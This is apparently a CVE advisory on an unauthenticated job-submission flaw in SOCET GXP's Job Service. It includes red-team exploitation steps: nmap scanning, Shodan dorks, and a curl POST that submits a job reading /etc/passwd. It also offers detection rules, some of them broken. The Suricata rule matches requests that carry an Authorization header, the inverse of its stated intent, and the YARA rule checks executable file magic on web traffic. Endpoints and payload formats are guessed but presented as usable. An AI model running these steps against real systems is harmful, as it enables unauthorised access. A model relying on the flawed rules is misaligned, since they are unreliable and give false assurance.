CVE-2025-54968

Executive Summary

CVE-2025-54968 exposes a critical authentication bypass vulnerability in BAE Systems SOCET GXP, a geospatial intelligence (GEOINT) analysis platform. The SOCET GXP Job Service, responsible for processing and managing analysis jobs, does not enforce any authentication mechanism. This allows an unauthenticated attacker to submit arbitrary jobs to the service. In certain configurations, this can be exploited remotely, enabling an attacker to submit jobs that execute with the privileges of other users on the system. This vulnerability poses a severe risk to confidentiality, integrity, and availability of the affected system and any connected networks.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a proprietary software component from BAE Systems. The risk is primarily to organizations using SOCET GXP in their GEOINT workflows, often in defense, intelligence, and critical infrastructure sectors. The lack of authentication in the Job Service represents a fundamental design flaw that bypasses all access controls.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component is the only one affected.
• Confidentiality (C): High – An attacker can read sensitive data from job results.
• Integrity (I): High – An attacker can modify or inject malicious job parameters.
• Availability (A): High – An attacker can submit resource-intensive jobs, causing denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using the affected software.

Deep Dive & Mechanics

The SOCET GXP Job Service is a background service that listens for job submissions. Jobs can be tasks like image processing, terrain analysis, or data conversion. The service is designed to accept job requests, process them, and return results.

Root Cause: The Job Service fails to validate the identity of the requester. It does not check for any session token, API key, or user credentials before accepting a job submission. This is a classic case of missing authentication (CWE-306).

Attack Flow:

1. Discovery: An attacker scans for the SOCET GXP Job Service port (typically a high-range TCP port, e.g., 8080, 8443, or a custom port). Shodan dorks like "BAE SOCET GXP" or "SOCET GXP Job Service" can identify exposed instances.
2. Submission: The attacker crafts a job request, likely in XML or JSON format, and sends it to the service endpoint (e.g., /jobservice/submit).
3. Execution: The service accepts the job without authentication. If the service is configured to run jobs with the privileges of a specific user (e.g., a service account or a logged-in user), the job executes with those privileges.
4. Impact: The attacker can:
   • Submit jobs that read, modify, or delete sensitive geospatial data.
   • Execute arbitrary commands if the job processing pipeline allows for command injection (a secondary vulnerability).
   • Escalate privileges by submitting a job that runs as a higher-privileged user.
   • Cause a denial of service by submitting an overwhelming number of jobs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable version likely has a job submission handler that does not perform any authentication check.

# Vulnerable pseudocode
def handle_job_submission(request):
    job_data = parse_job_request(request)
    # No authentication check
    execute_job(job_data)
    return "Job submitted successfully"

Patched Code (Conceptual): The patched version (4.6.0.2) introduces an authentication check before processing the job.

# Patched pseudocode
def handle_job_submission(request):
    if not authenticate_request(request):
        return "Authentication required", 401
    job_data = parse_job_request(request)
    execute_job(job_data)
    return "Job submitted successfully"

def authenticate_request(request):
    # Check for a valid session token or API key
    token = request.headers.get('Authorization')
    return validate_token(token)

Exploitation & Lab Setup

Red Team

Objective: Submit an unauthenticated job to the SOCET GXP Job Service.

Lab Setup:

1. Target: A virtual machine running SOCET GXP version 4.6.0.1 or earlier.
2. Attacker: Kali Linux or any system with curl or a scripting language (Python, PowerShell).

Exploitation Steps:

1. Discover the Service:

   nmap -p 8080,8443,9090 <target_ip>
   

   Look for open ports that respond to SOCET GXP services.

2. Identify the Job Submission Endpoint: Use a web browser or curl to access the service root.

   curl http://<target_ip>:8080/
   

   Look for endpoints like /jobservice, /submit, or /api/jobs.

3. Submit a Malicious Job: Craft a job request. The exact format depends on the service's API. A common format is JSON.

   {
     "jobType": "image_processing",
     "parameters": {
       "inputFile": "/etc/passwd",
       "outputFile": "/tmp/leaked_data"
     }
   }
   

   Send the request:

   curl -X POST http://<target_ip>:8080/jobservice/submit \
     -H "Content-Type: application/json" \
     -d '{"jobType":"image_processing","parameters":{"inputFile":"/etc/passwd","outputFile":"/tmp/leaked_data"}}'
   

4. Verify Execution: Check if the job was executed by looking for the output file or monitoring system logs.

Blue Team

Objective: Detect and block unauthenticated job submissions.

Detection Steps:

1. Network Monitoring:

   • Monitor for connections to the SOCET GXP Job Service port from untrusted IP addresses.
   • Look for POST requests to job submission endpoints without an Authorization header.

2. Log Analysis:

   • Enable detailed logging on the SOCET GXP server.
   • Look for job submissions that do not have a corresponding user authentication event.

3. Honeypot:

   • Deploy a fake SOCET GXP Job Service endpoint to attract attackers and log their activities.

Mitigation Steps:

1. Immediate Patching: Upgrade to SOCET GXP version 4.6.0.2 or later.
2. Network Segmentation: Place the SOCET GXP server behind a firewall and restrict access to trusted IP addresses only.
3. Web Application Firewall (WAF): Deploy a WAF to inspect and block requests to the Job Service that lack authentication tokens.
4. Service Hardening: If patching is not immediately possible, disable the Job Service or configure it to only accept jobs from localhost.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /jobservice/submit or similar endpoints.
  • Connections to the SOCET GXP Job Service port from external IP addresses.
  • Job submission payloads containing suspicious file paths (e.g., /etc/passwd, cmd.exe).

• File System IOCs:

  • Unexpected files in job output directories (e.g., /tmp/, /var/spool/socet/).
  • New user accounts or modified system files.

• Log IOCs:

  • Job submission log entries without a corresponding user authentication event.
  • Error logs indicating failed authentication attempts (if a WAF is in place).

Detection Engineering

YARA Rule

rule CVE_2025_54968_SOCET_GXP_Job_Service_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-54968 targeting SOCET GXP Job Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54968"
    strings:
        $s1 = "jobservice" ascii wide nocase
        $s2 = "submit" ascii wide nocase
        $s3 = "/etc/passwd" ascii wide nocase
        $s4 = "cmd.exe" ascii wide nocase
        $s5 = "Authorization" ascii wide nocase
    condition:
        (uint16(0) == 0x4D5A or uint32(0) == 0x464c457f) and
        (($s1 and $s2) and ($s3 or $s4) and not $s5)
}

Sigma Rule

title: SOCET GXP Job Service Unauthenticated Submission
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated job submissions to the SOCET GXP Job Service.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54968
logsource:
    category: webserver
    product: socet_gxp
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/jobservice/submit'
    filter:
        cs-headers: 'Authorization:*'
    condition: selection and not filter
falsepositives:
    - Legitimate internal submissions if authentication is bypassed via other means.
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2025-54968 SOCET GXP Job Service Unauthenticated Submission";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/jobservice/submit"; http_uri;
    pcre:"/Authorization\x3a\s[^\r\n]+/Ri";
    reference:cve,2025-54968;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action:

   • Patch: Upgrade to SOCET GXP version 4.6.0.2 or later. This is the only definitive fix.
   • Workaround: If patching is not possible, immediately restrict network access to the SOCET GXP server. Use a firewall to allow only trusted IP addresses to connect to the Job Service port.

2. Short-Term Mitigation:

   • Disable Service: If the Job Service is not critical, disable it entirely.
   • Authentication Proxy: Place a reverse proxy (e.g., Nginx, Apache) in front of the Job Service that requires authentication before forwarding requests.

3. Long-Term Security:

   • Network Segmentation: Ensure the SOCET GXP server is in a secure network segment with strict access controls.
   • Monitoring: Implement continuous monitoring for the IOCs listed above.
   • Vendor Communication: Work with BAE Systems to ensure future versions include robust authentication by default.

4. Validation:

   • After applying the patch, verify that the Job Service now requires authentication by attempting to submit a job without credentials. The request should be rejected.

Valters IT
DevSecOps & Cyber Threat Intelligence